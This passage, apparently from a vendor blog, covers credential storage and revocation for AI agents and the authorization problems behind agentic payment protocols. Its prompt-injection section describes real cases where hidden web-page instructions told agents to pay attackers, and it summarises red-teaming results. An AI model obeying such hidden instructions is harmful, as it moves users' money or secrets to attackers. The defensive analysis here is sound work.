blunt: applications outside Google Cloud "can use service account keys to access Google Cloud resources. However, service account keys are powerful credentials, and can present a security risk if they are not managed correctly." The replacement is an exchange rather than a stored key: "You provide a credential from your IdP to the Security Token Service, which verifies the identity on the credential, and then returns a federated token in exchange", which you then trade for a short-lived OAuth 2.0 access token. Same idea as an Azure managed identity, same idea as an IAM role on a pod. What it replaces is not your user credentials. It replaces the key your infrastructure used to authenticate itself, which is the one credential that was hardest to rotate and easiest to forget. ## Revocation: Deleting Your Copy Is Not Revocation {#revocation} This is the part teams get wrong most consistently, and it's a one-line distinction. Deleting your stored copy of a token removes your ability to use it. It does nothing to the grant at the provider. If that value was ever copied, logged, traced or exfiltrated, it still works. Actual revocation is a call. RFC 7009 defines the endpoint and its semantics: "A revocation request will invalidate the actual token and, if applicable, other tokens based on the same authorization grant", and when you revoke a refresh token "the authorization server SHOULD also invalidate all access tokens based on the same authorization grant." Note the strength of the verbs. Servers "MUST support the revocation of refresh tokens and SHOULD support the revocation of access tokens", so a compliant provider is allowed to leave already-issued access tokens alive until they expire. ```mermaid flowchart TD D["user clicks Disconnect"] --> V["your stored copy deleted"] D --> R{"revocation call<br/>to the provider?"} R -->|no| L["grant still live<br/>any leaked copy still works"] R -->|yes| G["refresh token invalidated"] G --> W["issued access tokens<br/>live until expiry"] W --> Z["access actually ends"] ``` **Figure 3 — What a Disconnect button does and does not do. The two branches differ by one outbound HTTP call, and the residual window on the right is the access token lifetime.** What each provider offers varies more than you'd hope. Google publishes a revocation endpoint at `https://oauth2.googleapis.com/revoke` and takes the token as a parameter. Slack's `auth.revoke` "revokes an access token", with a `test` parameter where "Setting this parameter to 1 triggers a testing mode where the specified token will not actually be revoked", and a side effect worth reading before you wire it up: revoking a bot token "will not uninstall the bot user or the app. It will, however, deactivate the bot user and remove its channel memberships." Microsoft takes a different route. Graph's `revokeSignInSessions` "invalidates all the refresh tokens issued to applications for a user (and session cookies in a user's browser), by resetting the **signInSessionsValidFromDateTime** user property to the current date-time", with two caveats in the docs: "there might be a small delay of a few minutes before tokens are revoked", and it "doesn't revoke sign-in sessions for external users, because external users sign in through their home tenant." So a Disconnect button honestly implemented does three things: deletes your copy, calls the provider's revocation endpoint if one exists, and drops any cached access token immediately rather than letting it run to expiry. The third is the one that gets skipped, and it's the one that determines how long after the click the agent can still act. ## Multi-Tenant Storage and the Blast Radius Question {#multi-tenant} If you're holding credentials for other companies' users, there's one question that matters more than the rest. If a single credential record leaks, how many customers have to call their provider? Most platforms answer that with a tenant column and a query filter. That is application-level isolation, and it works exactly as well as your least careful query. The stronger version puts the boundary in the crypto: a separate KEK per tenant, so ciphertext for tenant A is inert to anything holding only tenant B's key. On AWS that's a customer managed key per tenant, with the encryption context and `kms:ViaService` conditions doing enforcement at the key rather than in your code. It also gives you a clean delete. Destroy the key and every credential encrypted under it is unrecoverable, which is a much better story for a departing customer than a row deletion you have to prove. Vault's answer is namespaces, which "support secure multi-tenancy (SMT) within a single Vault Enterprise instance with tenant isolation and administration delegation", each namespace functioning as "a mini-Vault instance within your Vault installation." Note the licensing: namespaces require an "appropriate Vault Enterprise license or HCP Vault Dedicated cluster". If you're running community Vault and planning on namespaces for tenant separation, that's a budget line, not a config flag. The per-user quota question comes up here too, and the numbers are less scary than people assume. Secrets Manager allows 500,000 secrets per account per Region, 65,536 bytes per value, 100 versions per secret, and `GetSecretValue` at 10,000 requests per second. A credential per user is feasible. It's the write rate from rotating refresh tokens, not the count, that pushes you toward a database with a KMS-wrapped column. > **Write the blast radius down as a number.** One shared service account: every user of that provider. One > credential per user, one key per tenant: one person. Any design where you can't state the number is a design > where nobody has checked. ## A Checklist to Run Against Your Own System {#checklist} Eight questions. Any "no" is a finding. - Can you point at the line of code where the plaintext credential is attached to the outbound request, and is it outside the agent's process? - Can the agent, through any tool it has (shell, file read, HTTP, code execution), obtain that plaintext? - Grep your traces and prompt logs for a known token prefix. Zero hits, or you have a second incident. - Is the credential short-lived, and if it isn't, what's the documented maximum age? "Until-revoked" is an answer, and not a good one. - Does your Disconnect path call the provider's revocation endpoint, and does it drop cached access tokens instead of waiting for expiry? - For each provider you integrate, do you know whether it offers revocation at all, and what it leaves alive? - Is there one credential per acting user, or one shared account standing in for all of them? - If one credential record leaked, how many tenants are affected? State the number. ## Where Fabriq Fits {#fabriq} Agentic Fabriq's default is Figure 2's right-hand side. Credentials are per user, held in a vault, and attached server-side at the moment of the call, so the agent holds a session rather than a secret and there is no plaintext in its context to exfiltrate. An opt-in token-broker mode hands back the raw credential for the cases that genuinely need it, which is a deliberate trade and should be treated as one. Every request carries two identities, the agent's and the acting user's, and each call lands in an audit record, so the question "who was this done for" has an answer that isn't "the agent". What it does not do is reach into the provider on your behalf when a user disconnects. Clearing a vault copy is not the same act as invalidating a grant upstream, and the call to `https://oauth2.googleapis.com/revoke` or `auth.revoke` is still yours to make. ## Frequently Asked Questions {#faq} **Where should I store API keys for an AI agent?** Somewhere the agent's process cannot read them: a broker or gateway that holds the credential and attaches it to outbound calls, backed by a managed secret store or a KMS-encrypted database column. Storing them in a secret manager the agent can query is better than a config file and still leaves the plaintext reachable from the model's context. **Are environment variables safe for agent credentials?** No, if the agent can run code, read files or shell out. The process is the boundary, and those tools cross it. Environment variables are fine for local development and for the bootstrap identity of a service that has no better option. **Can an AI agent leak its own API key?** Yes, and it doesn't take a bug. If the credential is in the context window and the agent has any tool that makes an outbound request, an injected instruction in retrieved content can carry it out. OWASP's position is that there is no known fool-proof prevention for prompt injection, so design as though some attempts succeed. **AWS Secrets Manager or HashiCorp Vault for agent credentials?** If the credential is for a database or a cloud account with a dynamic backend, Vault's dynamic secrets are stronger, because the credential is minted per request and auto-revoked when its lease expires. For static third-party API keys on AWS, Secrets Manager with a customer managed KMS key and managed rotation is simpler and less to run. Neither keeps the plaintext out of your agent by itself. **Do I need a separate credential for each user?** If the agent acts on behalf of named people, yes. Otherwise the agent's reach is the union of everyone's access and your audit trail can't attribute anything. Quotas are rarely the blocker: Secrets Manager permits 500,000 secrets per Region. **How do I revoke an agent's access to a user's Google account?** POST the token to `https://oauth2.googleapis.com/revoke`. Under RFC 7009 revoking a refresh token should invalidate access tokens from the same grant, but access token revocation is only a SHOULD, so also drop any copy you cached. **Is deleting the token from my database enough?** No. That removes your ability to use it and leaves the grant live at the provider. Anyone holding a copy from a log, a trace or an exfiltration still has working access. **What does workload identity federation actually replace?** The long-lived key your infrastructure used to authenticate itself, such as a Google service account key. You exchange an IdP credential at a security token service for a short-lived token instead of storing a key. It does not replace the per-user credentials your agent needs for third-party SaaS. **Is a 15-minute token really better if the agent can just mint another one?** Yes, because the two are different assets. Minting requires the agent's own identity and gets logged; a stolen 15-minute token gets you 15 minutes and a stolen refresh token gets you months. Compare that against Entra's documented refresh token max age, which is "Until-revoked". ## Conclusion {#conclusion} The storage question and the exposure question are separate, and most of the available advice answers only the first. Pick your envelope encryption, pin your KMS key policies, use managed rotation where the vendor actually rotates something and build the Pub/Sub subscriber where it doesn't. All of that is table stakes and none of it addresses an agent reading its own token out of a prompt and mailing it to an address in a support ticket. What changes the outcome is keeping the plaintext on the other side of a boundary the model can't reach, shortening every lifetime you control, and treating revocation as an outbound call rather than a delete statement. For the helpdesk agent, that means 900 per-user credentials nobody in the agent process can read, each one narrow enough that its loss is one person's problem. > **The test we'd apply:** print the exact bytes an attacker would get from a successful injection. If that > list includes anything a provider would accept, the credential is in the wrong place, and no amount of > encryption at rest moves it. ## Sources {#sources} All URLs read 2026-09-29. - [Secret encryption and decryption in AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/security-encryption.html) — envelope encryption, 256-bit AES data keys, encryption context, what is not encrypted. - [Rotate AWS Secrets Manager secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/rotate-secrets_how.html) — managed rotation versus Lambda rotation functions. - [AWS Secrets Manager quotas](https://docs.aws.amazon.com/secretsmanager/latest/userguide/reference_limits.html) — 500,000 secrets per Region, 65,536-byte values, 100 versions, write-rate guidance. - [AWS STS AssumeRole API reference](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) — 900-second minimum, 3600 default, 43200 maximum, role chaining cap, session policy intersection. - [Customer-managed encryption keys, Google Secret Manager](https://docs.cloud.google.com/secret-manager/docs/cmek) — default encryption, DEK wrapped by a service-owned KEK. - [Create rotation schedules, Google Secret Manager](https://docs.cloud.google.com/secret-manager/docs/secret-rotation) — `SECRET_ROTATE` Pub/Sub notifications and the one-hour minimum rotation period. - [Workload identity federation, Google Cloud IAM](https://docs.cloud.google.com/iam/docs/workload-identity-federation) — what service account keys are replaced with, and the STS exchange. - [What is Azure Key Vault?](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts) — vaults versus Managed HSM, FIPS 140-3 Level 3, managed identities and the bootstrap-secret problem. - [Configurable token lifetimes, Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/configurable-token-lifetimes) — 60-90 minute access tokens, Until-revoked refresh tokens, CAE extension to 24-28 hours. - [user: revokeSignInSessions, Microsoft Graph](https://learn.microsoft.com/en-us/graph/api/user-revokesigninsessions) — what it invalidates, the few-minute delay, external-user limitation. - [Lease, Renew, and Revoke, HashiCorp Vault](https://developer.hashicorp.com/vault/docs/concepts/lease) — leases, TTLs, automatic revocation, prefix revocation. - [Vault Enterprise namespaces](https://developer.hashicorp.com/vault/docs/enterprise/namespaces) — secure multi-tenancy and the Enterprise licensing requirement. - [RFC 7009: OAuth 2.0 Token Revocation](https://www.rfc-editor.org/rfc/rfc7009) — MUST for refresh tokens, SHOULD for access tokens, grant-wide invalidation. - [Using OAuth 2.0 to Access Google APIs](https://developers.google.com/identity/protocols/oauth2) — six-month inactivity expiry, seven-day Testing refresh tokens, 100-token limit. - [Using OAuth 2.0 for Web Server Applications, Google](https://developers.google.com/identity/protocols/oauth2/web-server) — the `https://oauth2.googleapis.com/revoke` endpoint. - [Slack `auth.revoke` method reference](https://docs.slack.dev/reference/methods/auth.revoke) — what it revokes, the `test` parameter, bot-user side effects. - [OWASP LLM01: Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/) — indirect injection via external sources, and the absence of fool-proof prevention. - [MCP Security Best Practices, specification 2026-07-28](https://modelcontextprotocol.io/specification/2026-07-28/basic/security_best_practices) — the token passthrough prohibition and the proxy-exfiltration risk. - [OWASP Top 10 for Agentic Applications 2026](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) — ASI03 Identity and Privilege Abuse. ================================================================================ ## Agents That Spend Money: The Authorization Problem Behind Agentic Payments URL: https://www.agenticfabriq.com/blog/agents-that-spend-money Published: 2026-09-28 Author: Paulina Xu Summary: AP2, ACP, x402 and MPP map onto four different layers of a single transaction. Every hard problem they leave behind — caps, scope, expiry, non-repudiation, disputes — is an authorization problem. ```tldr **Every hard problem in agentic payments turns out to be an authorization problem, not a payments problem.** Four protocols shipped inside about a year: AP2, ACP, x402, MPP. Not one of them tells you what the cap should be, who signed off, or what happens when the agent buys the wrong thing. That's the opposite of how most coverage reads it. Settlement rails get the headlines because they're the part that's finished. The hard part, a bounded grant of authority a machine can act on and a stranger can later verify, is still mostly unbuilt, and it is the same problem access control has always been, with a number attached. We're not arguing the protocols don't matter. Signed mandates and counterparty-bound signatures are real progress on proving who authorized what. They just don't say who eats the loss when a signed, valid, on-policy transaction still turns out to be the wrong one. Classify spend before you classify agents. Write down a cap, a scope and an expiry for each class, and put the enforcement point somewhere the model can't talk its way around. That part is protocol-independent, and it will still be correct once the standards war is over. ``` ## Overview {#overview} Four separate payment protocols for AI agents shipped in the twelve months after mid-2025, and most of the coverage reads like it was written by payments people for payments people: rails, settlement speed, who processes what. A payment is different from almost every other action an agent can take because it doesn't roll back. Once the money moves, what's left is a dispute process, not an undo button. So the part worth an engineer's attention isn't which rail won. It's whether a human's intent gets translated into something narrow enough to hand to a machine, and specific enough for someone outside the transaction to check afterward. Strip the vocabulary off any of this and the question underneath is the one identity and access management has been asking for two decades, just with money attached: how much may the agent spend, on what, for how long, and who signed off. None of that gets answered by picking a blockchain or a card network, and none of the four protocols below try to answer it directly. Google's AP2, OpenAI and Stripe's ACP, Coinbase's x402, and Stripe and Tempo's MPP each answer a different piece of that question, and how they relate to each other matters more than most coverage lets on. None of them, though, touches the case that will generate the real volume: an enterprise agent paying for API calls thousands of times inside a single session, which is an accounting and control problem before it is a payments one. > **The volume problem is the real one.** An enterprise agent paying for API calls thousands of times inside a > single session breaks down into an accounting and control question long before it's a payments question, and > none of the four protocols above are built to answer it. ## Four Protocols, Four Layers {#protocol-landscape} The framing of these protocols as competitors is mostly wrong. They sit at different heights in the same transaction, and a single agent purchase in 2026 can plausibly touch three of them. **AP2 (Agent Payments Protocol)**, announced by Google on 2025-09-16 with more than 60 collaborating organizations including Adyen, American Express, Coinbase, Mastercard, PayPal and Worldpay, works as a trust and authorization layer rather than a settlement rail. Its core object is the **mandate**, a tamper-evident, cryptographically signed record of what the user actually authorized. Google frames the protocol around a handful of questions it says any agentic payment has to answer, including authorization (did the user grant this authority?) and accountability (who is responsible when it goes wrong?). One wrinkle for anyone building against it: the launch vocabulary of *Intent Mandate* and *Cart Mandate* has since been reorganized inside the specification, which now describes a **Checkout Mandate** and a **Payment Mandate**, each carrying an *open* stage for the user's constraints and a *closed* stage that authorizes one finalized transaction. Most secondary coverage still uses the older terms. Read the spec, not the summary. Google and Mastercard have also folded their agentic-commerce work into the **FIDO Alliance**, which stood up an Agentic Authentication Technical Working Group and a Payments Technical Working Group in 2026, treating the trust layer as identity infrastructure rather than a payments feature. AP2 itself is still published by Google, so read "contributed" as narrower than "handed over." **ACP (Agentic Commerce Protocol)**, co-developed by OpenAI and Stripe and released under Apache 2.0 on 2025-09-29 alongside its first deployment in ChatGPT's Instant Checkout, standardizes the agent-to-merchant checkout conversation. Its defining design decision is that the merchant stays the merchant of record and keeps the right to decline: the agent collects the buyer's payment selection, hands the merchant a narrowly scoped delegated payment token, and the merchant charges it through whatever payment service provider it already uses. Today that primitive is Stripe's **Shared Payment Token**, a Stripe product implementing ACP's delegate-payment step rather than an object the ACP specification itself defines, worth keeping straight when you read the spec. Stripe describes the token's use as "programmatically controlled, permissioned, and logged." What the public material doesn't specify is the exact constraint fields on that token, which is a real gap if you're trying to reason about blast radius. **x402** is Coinbase's revival of the long-dormant HTTP 402 "Payment Required" status code, launched 2025-05-06 alongside collaborators including AWS, Anthropic, Circle and NEAR. A server responds 402 with machine-readable payment terms, the client signs a stablecoin transfer authorization, a facilitator confirms settlement, and the resource gets served. It's the only one of the four genuinely native to the request/response cycle, which makes it the natural fit for per-call payment. Cloudflare adopted it in September 2025 and later co-established the **x402 Foundation** with Coinbase under the Linux Foundation, so "Coinbase's protocol" is already becoming shorthand rather than an accurate description. Google also shipped an **A2A x402 extension** connecting AP2's authorization output to x402 settlement, about as clear a signal as you'll get that these are layers of one stack rather than competing products. **MPP (Machine Payments Protocol)** launched 2026-03-18, co-authored by Stripe and Tempo two days before the Tempo mainnet went live, and it's the most operationally minded of the four. It specifies HTTP 402 challenge-response semantics, authorization headers, IANA registries, pluggable payment methods, and three payment intents: charge, authorize, and subscription. The interesting one is the **session**, where the agent authorizes a spending limit up front and then streams micropayments against it with no settlement event per interaction. It supports stablecoins as well as cards and buy-now-pay-later through Shared Payment Tokens. Stripe named four adopters at launch, Browserbase, PostalForm, Prospect Butcher Co. and Parallel Web Systems, which is a more honest read on traction than the partner lists circulating around the Tempo chain itself. | | AP2 | ACP | x402 | MPP | |---|---|---|---|---| | **Sponsor** | Google (contributed to FIDO Alliance) | OpenAI + Stripe | Coinbase → x402 Foundation (Linux Foundation) | Stripe + Tempo | | **Shipped** | 2025-09-16 | 2025-09-29 | 2025-05-06 | 2026-03-18 | | **Layer** | Authorization / trust | Agent↔merchant checkout | HTTP settlement | Billing + session control | | **Core object** | Signed mandate (VDC) | Delegated payment token (Stripe's SPT today) | HTTP 402 + signed transfer | Payment intent, incl. session with pre-auth limit | | **Constraint model** | Caps, scope, expiry in the mandate | Token scope, merchant-bound | Per-request price | Session spending limit | | **Settles in** | Rail-agnostic | Cards via existing PSP | Stablecoins | Stablecoins, cards, BNPL | | **Best fit** | Proving the user authorized it | Consumer checkout in a chat surface | Metered API and data access | Recurring and streamed machine spend | Three adjacent efforts shape what merchants will demand. **Visa's Trusted Agent Protocol** is built to let merchants distinguish an authorized agent from a malicious bot: the agent signs a request, RFC 9421 signatures with timestamps, a session identifier and a key identifier, carrying agent intent, consumer recognition and optional payment data, cryptographically locked to the merchant's specific site and the exact page the agent is interacting with. Whether that distinction holds up against a well-resourced attacker is a claim about the specification, not yet an observed result. **Mastercard's Agent Pay**, announced 2025-04-29, instead pulls agent transactions into existing tokenization rules. Mastercard Agentic Tokens "build upon proven tokenization capabilities" already behind contactless and card-on-file payments, and the release commits to protecting against fraud, supporting consumer disputes, and establishing clear rules for consumer control. It does not itself allocate liability. More on that below. A separate June 2026 release, Agent Pay for Machines, extends the program to sub-cent agent-to-agent transactions. Google's **Universal Commerce Protocol**, announced 2026-01-11 with Shopify, Etsy, Wayfair, Target and Walmart plus more than twenty other partners, sits at the catalog and cart layer and is designed to be AP2-compatible for the payment step. ```mermaid flowchart TD U["User intent<br/>(goal + limits)"] --> M["AP2 / FIDO<br/>signed mandate"] M --> C["UCP or ACP<br/>agent to merchant checkout"] C --> D{"Settlement<br/>choice"} D --> X["x402<br/>HTTP 402 per call"] D --> P["MPP session<br/>pre-auth + streamed"] D --> R["Card rails<br/>tokenized"] X --> S["Resource or goods delivered"] P --> S R --> S S --> E["Signed evidence chain retained"] ``` **Figure 1 — The four protocols positioned as layers of one transaction, not as alternatives.** A sober note on adoption, since this is exactly the place vendor numbers do a lot of unearned work. x402's reported cumulative figures as of the end of April 2026 (roughly 165 million transactions, about 69,000 active agents, around $50 million in cumulative volume) are Coinbase's own, self-reported and not independently audited. The public x402 dashboard counts *buyers* rather than agents, so treat the middle number as the softest of the three. Independent measurement is less flattering. CoinDesk reported in March 2026 that x402 was running about $28,000 in daily payment volume across roughly 131,000 transactions, averaging about $0.20 each. Analysis from Artemis found that roughly half of observed x402 transactions were artificial: self-dealing, where one wallet is both buyer and seller, or wash trading, where the seller funds the buyer's wallet and the money round-trips straight back. An Artemis analyst put it bluntly: "the x402 'agent payments' boom is still mostly a mirage." We think both readings can be true at once. The rail works. There just isn't much real commerce running on it yet, and the thing worth designing for is the mechanism, not this quarter's transaction count. ## The Mandate as an Authorization Object {#mandate} Strip away the payments vocabulary and a mandate is a delegation credential with an amount field. That is the most useful way to think about it, because it means everything the identity world already knows about scoped, short-lived, verifiable grants applies directly. Take a hypothetical: a mid-size manufacturer running a **demand-planning agent** that spends money two different ways. It buys freight-rate and lead-time data from a logistics provider, priced per query, hundreds of times inside a single planning run. And when a component's projected cover drops below a threshold, it places a replenishment order with an approved supplier. Nothing about this company is real; it's a composite built to make the rest of this concrete. The first kind of spend is metered machine consumption. The second is a discrete, consequential purchase. They need different authorization shapes, and we think conflating them is the easiest way to get this wrong. For the replenishment order, the user's intent gets expressed plainly: "keep the SKU above four weeks of cover, from approved suppliers, up to €40,000 per order." That becomes a signed object with constraints. The agent proposes a specific order, and the constraints get checked against that order before anything closes. That check is the whole ballgame. A mandate that only says "this agent may buy things" is a bearer token with extra ceremony. The constraints that do real work are unglamorous: - **Amount cap.** Per transaction and, separately, cumulative across the mandate's life. A per-order cap without an aggregate cap permits death by a thousand compliant purchases. - **Scope.** Which merchants, which product categories, which supplier list, which currency. Scope is what prevents a mandate for freight data from becoming a mandate for anything with a price tag. - **Expiry.** Short, and absolute rather than sliding. A mandate that renews itself on use is a standing authorization. - **Counterparty binding.** The signature should be bound to the specific counterparty and the specific interaction, which is the design Visa's Trusted Agent Protocol is specified to use: its signatures are locked to a merchant's site and to the exact page in play. - **Single-use where possible.** For discrete purchases, a mandate that is consumed on execution removes an entire class of replay problem. ```mermaid stateDiagram-v2 [*] --> Stated: user states goal and limits Stated --> Open: mandate signed, constraints only Open --> Proposed: agent negotiates a concrete order Proposed --> Checked: verify cap, scope, expiry, counterparty Checked --> Rejected: any constraint fails Checked --> Closed: mandate closed on this exact order Closed --> Executed: payment authorized on chosen rail Executed --> Retained: signed chain kept as evidence Rejected --> [*] Retained --> [*] ``` **Figure 2 — Mandate lifecycle. The constraint check between "proposed" and "closed" is the security boundary; everything before it is intent and everything after it is irreversible.** The open/closed split in the AP2 specification is worth stealing even if you never adopt AP2 itself. It separates what the user permitted from what actually happened, and it forces the comparison between the two to occur at one specific point in code, against one specific object. Systems that skip that separation end up asking an LLM whether a purchase seems reasonable, which isn't a control at all. ## What a Signature Actually Proves {#non-repudiation} The strongest claim made for signed mandates is non-repudiation: a merchant can prove the user authorized this, and the user cannot credibly deny it later. That claim is narrower than it sounds, and being precise about the boundary matters when the money is real. A valid signature over a closed mandate proves three things: the mandate's contents have not been altered since signing, a specific key signed it, and the constraints in the mandate are consistent with the transaction that executed. That is genuinely valuable, far more than a card network has ever had for a card-not-present transaction, and it turns "the agent bought something" into an auditable claim with a subject and an object. What it does not prove is that the human wanted it. The signature attests to key custody, not to intent. If the key lives in an agent runtime, a signature proves only that the runtime signed, and a runtime that has been prompt-injected will sign happily. This is the familiar gap between authentication and authorization; agentic payments move it rather than close it. It is why the "human-present" versus "human-not-present" distinction in AP2's flows is load-bearing rather than cosmetic, and why the question for a security architect is not *is it signed* but *what would a compromised agent have been able to get signed*. > **The honest version:** a signed mandate makes an unauthorized payment *attributable*. It does not make it > impossible. Attribution is worth a great deal: it's the difference between a forensics exercise and a shrug. > But it's a detection and accountability property, not a prevention property. Prevention lives entirely in > the caps, the scope and the expiry. ## Disputes Without a Buyer {#disputes} Fifty years of card-network dispute machinery assumes a human buyer whose behavior can be characterized. Device fingerprint, IP history, browsing pattern, typing cadence, prior order history at this merchant: the evidence that decides a chargeback is mostly evidence about a person sitting at a device. For an agent-initiated purchase, most of that evidence either doesn't exist or describes a data center. The networks are moving to manufacture the missing evidence. Mastercard's Agent Pay positions agent transactions inside existing tokenization rules and commits to supporting consumer disputes, but its published material stops short of allocating fraud liability among issuer, merchant and agent operator, which is precisely the detail that would settle a chargeback. Visa's Trusted Agent Protocol is designed to give merchants a cryptographic signal that the agent is recognized and authorized for the specific site and page it's acting on, though whether that signal actually moves dispute outcomes in the agent's favor hasn't been tested at scale yet. What remains unresolved is the allocation question that determines who eats the loss. When an agent overpays or buys the wrong thing, the candidates for liability are the user who set the goal, the agent's operator, the model provider, and the merchant. Commentary from the disputes industry has been consistent through 2026 that no rule cleanly assigns fault among them, and that the practical default is the merchant, the party that can't produce the traditional evidence. For US consumers the statutory picture is worse than merely unsettled. Regulation E covers debit, prepaid and ACH transfers rather than credit cards, which sit under Regulation Z; and Reg E defines an unauthorized transfer as one initiated by a *person* other than the consumer, expressly excluding transfers by anyone the consumer furnished the access device to. Read literally, a software actor the consumer deliberately equipped is not obviously an unauthorized initiator at all. This is unsettled law and none of it is legal advice. For an enterprise, the practical consequence is narrower and more actionable: your dispute posture is set by your log quality. Take that same demand-planning agent's €38,000 replenishment order, now under dispute. If you can produce the goal that was set, by whom, under which mandate, with which constraints, which supplier was selected and why, and the exact tool calls that led to the order, you're in a negotiation. If you can produce a model transcript, you're not. ## When the Payload Is a Purchase {#prompt-injection} Indirect prompt injection stopped being a theoretical concern in 2026, and payments made it materially worse, because the payload became directly monetizable. Palo Alto Networks' Unit 42 published field observations on 2026-03-03 documenting injection campaigns against agents in the wild. Two are payment cases, and their specificity is the point. In one, instructions hidden through HTML attribute cloaking directed an AI platform to visit a hosted payment link and complete a donation. In another, instructions hidden via CSS rendering suppression told an agent to send $5,000 to an attacker-controlled account. These were not proofs of concept in a lab. They were pages on the open web, waiting for an agent with a payment capability to read them. The scale data is no more encouraging. The Agent Red Teaming work published as arXiv:2507.20526 ran what its authors describe as the largest public red-teaming competition to date: 1.8 million prompt-injection attacks against 22 frontier agents across 44 realistic deployment scenarios, with more than 60,000 succeeding in eliciting policy violations, among them unauthorized data access, illicit financial actions and regulatory noncompliance. Nearly all the agents tested violated policy for most behaviours within 10 to 100 queries. An attacker who can retry is an attacker who wins. The design conclusion follows directly. If a payment capability sits inside the same reasoning loop that ingests untrusted content, then untrusted content can spend money, and no amount of instruction-hardening changes that. The mitigation is architectural: the payment decision must be evaluated against constraints the model cannot rewrite, by code that is not the model. Injection defenses in general are covered elsewhere on this site; the payment-specific lesson is that the amount cap is your last line, and it has to be enforced outside the loop. ## The Procurement Problem Nobody Covers {#enterprise-procurement} Almost all writing about agentic payments imagines a consumer buying shoes. The enterprise case looks nothing like that, and it is the case that will generate the volume. Return to the demand-planning agent. In a single planning run it queries the logistics data provider several hundred times, and under x402 or an MPP session each query is a real payment. Over a quarter, across a dozen agents and a few dozen paid data sources, that is hundreds of thousands of micro-purchases with no purchase order, no invoice, no approval, and no attribution to a cost center unless someone designed for it. That is an accounting and control problem before it is a payments problem, and it breaks down into three requirements no protocol in the table above provides. - **Per-call authorization.** A per-call payment needs a per-call decision, made by code. The unit of control is not the transaction; it is the policy evaluating each transaction against a remaining budget in single-digit milliseconds. - **Budget enforcement with a hard stop.** Alerting on overspend is not enforcement. An agent in a retry loop against a paid endpoint can burn a monthly budget in an afternoon, and the only control that survives that is a ledger that denies the call. - **Attribution to a cost center.** Finance needs to know which team, project and task consumed the spend. Model providers shipped enterprise analytics APIs with per-user cost attribution during 2026, which helps with inference cost but says nothing about what the agent paid third parties. ```mermaid sequenceDiagram participant Ag as Agent participant Br as Payment broker participant Bl as Budget ledger participant Api as Paid API Ag->>Br: request paid call (task id, cost center) Br->>Bl: check per-call cap + remaining budget Bl-->>Br: allow / deny Br->>Api: signed payment + request Api-->>Br: 200 + receipt Br->>Bl: debit and attribute Br-->>Ag: result (no key, no wallet) ``` **Figure 3 — Per-call payment as an authorization decision. The agent asks; a broker decides against a ledger it does not control; attribution happens as a side effect of the decision.** The pattern is the same one that works for credentials. The agent should be able to *cause* a payment without *holding* the means to make one. A broker that owns the wallet, checks the budget, signs the payment and records the attribution keeps the agent's reasoning loop entirely outside the money path, and it means an injected agent has nothing useful to steal. ## What to Build Now {#what-to-build} None of the four protocols is stable enough to bet an architecture on. AP2 alone has already renamed its central objects once. But the authorization work underneath all of them is protocol-independent, and it's the work that will still be correct in two years. Start by classifying spend rather than agents. Discrete consequential purchases and metered machine consumption have different risk shapes and different approval requirements, and a single "can this agent pay" flag collapses both into the worse of the two. Then write down, per class, the three numbers that matter: the per-transaction cap, the aggregate cap over a window, and the expiry. If you cannot state them, you do not have an authorization policy; you have an intention. Put the enforcement point outside the model. Whatever brokers the payment must own the wallet, evaluate the constraints, and be incapable of being talked out of them, because a broker that can be argued with is not a control. Log the decision rather than only the outcome: which mandate, which constraints, which values, allowed or denied, and the identity of both the agent and the human it acted for. Denied attempts are the more interesting half of that log. A rising deny rate against an amount cap is one of the cleanest available signals that something has gone wrong upstream. And treat a short expiry as the default answer to uncertainty: a mandate that lapses in an hour is a mistake with a bounded cost. ## Conclusion {#conclusion} The protocol race in agentic payments is largely a race to standardize plumbing, and the plumbing is converging on something sensible: an authorization layer producing signed, constrained mandates, a checkout layer that keeps merchants in control of their own transactions, and settlement layers making per-call and streamed payment practical. That's genuine progress, and it's worth tracking. But the protocols don't answer the questions that decide whether agent spending is safe inside your organization. They don't tell you what the cap should be, who set it, whether it's enforced by code the model can't influence, which cost center the spend belongs to, or what evidence you can produce when a supplier disputes a €38,000 order that no human clicked. We think those are authorization decisions, full stop, and no protocol is going to make them for you. > **The takeaway:** a payment is the most consequential action most agents will ever take, and the mechanism > that makes it safe is the same mechanism that makes any other action safe: a narrow, expiring, verifiable > grant, enforced somewhere the agent cannot reach. The signature proves who is accountable. The cap is what > keeps the accounting small. ## Sources {#sources} - [Announcing Agent Payments Protocol (AP2) — Google Cloud Blog](https://cloud.google.com/blog/products/ai-machine-learning/announcing-agents-to-payments-ap2-protocol) - [AP2 — Agent Payments Protocol Documentation](https://ap2-protocol.org/) - [AP2 — Payment Mandate (open and closed forms) — ap2-protocol.org](https://ap2-protocol.org/ap2/payment_mandate/) - [Building the Trust Layer for Agentic Payments with AP2 and Verifiable Intent — FIDO Alliance](https://fidoalliance.org/building-the-trust-layer-for-agentic-payments-with-ap2-and-verifiable-intent/) - [Google and Mastercard Contribute Agentic Commerce Standards to FIDO Alliance — FIDO Alliance, May 2026](https://fidoalliance.org/pymnts-google-and-mastercard-contribute-agentic-commerce-standards-to-fido-alliance/) - [Stripe powers Instant Checkout in ChatGPT and releases the Agentic Commerce Protocol — Stripe Newsroom](https://stripe.com/newsroom/news/stripe-openai-instant-checkout) - [Developing an open standard for agentic commerce — Stripe](https://stripe.com/blog/developing-an-open-standard-for-agentic-commerce) - [Buy it in ChatGPT: Instant Checkout and the Agentic Commerce Protocol — OpenAI](https://openai.com/index/buy-it-in-chatgpt/) - [Introducing x402: a new standard for internet-native payments — Coinbase](https://www.coinbase.com/developer-platform/discover/launches/x402) - [x402 Overview — Coinbase Developer Documentation](https://docs.cdp.coinbase.com/x402/welcome) - [Cloudflare's adoption of x402 and the x402 Foundation — Cloudflare Blog, September 2025](https://blog.cloudflare.com/x402/) - [Coinbase-backed AI payments protocol wants to fix micropayments but demand is just not there yet — CoinDesk, 2026-03-11](https://www.coindesk.com/markets/2026/03/11/coinbase-backed-ai-payments-protocol-wants-to-fix-micropayment-but-demand-is-just-not-there-yet) - [Introducing the Machine Payments Protocol — Stripe](https://stripe.com/blog/machine-payments-protocol) - [Stripe, Paradigm launch Tempo blockchain alongside machine payments standard — Ledger 